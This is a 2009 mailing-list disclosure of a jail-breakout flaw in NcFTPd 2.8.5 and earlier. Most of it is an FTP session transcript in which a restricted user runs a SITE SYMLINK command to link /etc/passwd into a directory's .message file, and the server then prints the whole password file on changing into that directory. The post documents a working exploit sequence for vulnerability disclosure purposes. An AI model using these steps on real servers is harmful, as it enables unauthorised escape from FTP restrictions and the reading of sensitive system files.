Hello list. Just to clarify the NcFTPd vulnerability affects all operating systems that NcFTPd runs on, not just FreeBSD. Cheers, kcope 2009/7/27 Kingcope <kcope2@xxxxxxxxxxxxxx>: > NcFTPd <= 2.8.5 remote jail breakout > > Discovered by: > Kingcope > Contact: kcope2<at>googlemail.com / http://isowarez.de > > Date: > 27th July 2009 > > Greetings: > Alex,Andi,Adize,wY!,Netspy,Revoguard > > Prerequisites: > Valid user account. > > Demonstration on FreeBSD 7.0-RELEASE and NcFTPd 2.8.5 (latest version): > > # ftp 192.168.2.5 > Connected to 192.168.2.5. > 220 localhost NcFTPd Server (unregistered copy) ready. > Name (192.168.2.5:root): kcope > 331 User kcope okay, need password. > Password: > 230-You are user #1 of 50 simultaneous users allowed. > 230- > 230 Restricted user logged in. > Remote system type is UNIX. > Using binary mode to transfer files. > ftp> get /etc/passwd passwd > local: passwd remote: /etc/passwd > 502 Unimplemented command. > 227 Entering Passive Mode (192,168,2,5,219,171) > 550 No such file. > ftp> ls .. > 227 Entering Passive Mode (192,168,2,5,218,102) > 553 Permission denied. > ftp> mkdir isowarez > 257 "/isowarez" directory created. > ftp> quote site symlink /etc/passwd isowarez/.message > 250 Symlinked. > ftp> cd isowarez > 250-"/isowarez" is new cwd. > 250- > 250-# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ > 250-# > 250-root:*:0:0:Charlie &:/root:/bin/sh > 250-toor:*:0:0:Bourne-again Superuser:/root: > 250-daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin > 250-operator:*:2:5:System &:/:/usr/sbin/nologin > 250-bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin > 250-tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin > 250-kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin > 250-games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin > 250-news:*:8:8:News Subsystem:/:/usr/sbin/nologin > 250-man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin > 250-sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin > 250-smmsp:*:25:25:Sendmail Submission > User:/var/spool/clientmqueue:/usr/sbin/nologin > 250-mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin > 250-bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin > 250-proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin > 250-_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin > 250-_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin > 250-uucp:*:66:66:UUCP > pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico > 250-pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin > 250-www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin > 250-nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin > 250-kcope:*:1001:1001:User kcope:/home/kcope:/bin/csh > 250-messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/sbin/nologin > 250-polkit:*:562:562:PolicyKit Daemon User:/nonexistent:/sbin/nologin > 250-haldaemon:*:560:560:HAL Daemon User:/nonexistent:/sbin/nologin > 250-ftp:*:1002:14:User &:/home/ftp:/bin/sh > 250-cyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh > 250-postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin > 250-test:*:1003:1003:test:/home/test:/bin/sh > 250-+testx:*:::::/bin/sh > 250 > ftp> > > +on freebsd you can symlink directories like ´/´ > > Cheerio, > > Kingcope >